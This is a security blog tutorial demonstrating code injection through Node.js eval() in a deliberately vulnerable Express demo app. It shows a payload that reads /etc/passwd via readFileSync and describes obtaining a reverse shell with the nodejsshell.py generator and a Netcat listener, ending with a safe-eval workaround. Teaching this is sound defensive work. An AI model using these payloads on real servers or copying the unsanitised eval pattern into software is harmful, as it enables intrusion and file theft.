NodeJS eval() Security Issues

All programming languages have certain dangerous functions to which when a client-side input is directly passed without proper sanitization present a very serious security threat. For example: open() in Perl, subprocess.call() in Python. One such dangerous function is eval() in NodeJS.

This post will be similar to Perl open() security issues. First of all, I ‘ll create a demo NodeJS Web App in Ubuntu 16.04, to present how eval() works.

Refer Installing Node.js via package manager to install NodeJS.

Creating a new Web App

This process involves initializing the project and integrating needed “Express” module.

pkubuntu@ubuntu:~$ mkdir demoapp
pkubuntu@ubuntu:~$ cd demoapp/
pkubuntu@ubuntu:~/demoapp$ npm init
...
Press ^C at any time to quit.
name: (demoapp) 
version: (1.0.0) 
description: Demo App to test eval()
entry point: (index.js) app.js
test command: 
git repository: 
keywords: 
author: 
license: (ISC) 
About to write to /home/pkubuntu/demoapp/package.json:
{
  "name": "demoapp",
  "version": "1.0.0",
  "description": "Demo App to test eval()",
  "main": "app.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC"
}
Is this ok? (yes) 
pkubuntu@ubuntu:~/demoapp$ npm i express --save

I have used Express NodeJS Web Framework for demonstration purposes. ‘app.js’ has the needed code for the demo. The app.js takes value for parameter “a” and directly passed to eval() function without any sanitization.

var express = require('express');
var app = express();

var port = 1337;

app.get('/', function(req,res){
  var a = eval(req.query.a);
  res.send("<p> Answer of Eval: </p>"+a);
});

console.log("App is listening on port: "+port);
app.listen(port);

Finally run the App using node app.js command

Testing the App

Browsing http://127.0.0.1:1337

Browsing http://127.0.0.1:1337 with a parameters

Observe how “200/100” got evaluated to “20”. Now, if I insert appropriate Javascript function like “console.log”

It works. Now I ‘ll use appropriate Express NodeJS functions.

The first payload usedres.send to send the response to the client and the next payload res.end(require('fs').readFileSync('/etc/passwd').toString()) is used to display the contents of /etc/passwd using function readFileSync.

Reverse Shell

The security implication of this attack vector can be extended from Server Side Code Injection to Remote Code Execution. I have used nodejshell for demonstration purposes. For this section, I have used Kali Linux to represent as attacker and enable a port 443 with Netcat to catch a reverse shell. Using nodejshell to generate reverse shell payload

root@kali:~# wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py
....
Saving to: ‘nodejsshell.py’
nodejsshell.py      100%[==================>]     813  --.-KB/s    in 0s      
2018-03-11 22:03:01 (12.6 MB/s) - ‘nodejsshell.py’ saved [1575]
root@kali:~# python nodejsshell.py 
Usage: nodejsshell.py <LHOST> <LPORT> 


Inserting the generated payload to the parameter “a” with Netcat reverse shell listener setup at port 443

So, it is successfully demonstrated the repercussions of non-sanitized input to a dangerous function. Also, there is safe-eval npm package that can be used as a workaround.

Leave a Reply

Your email address will not be published. Required fields are marked *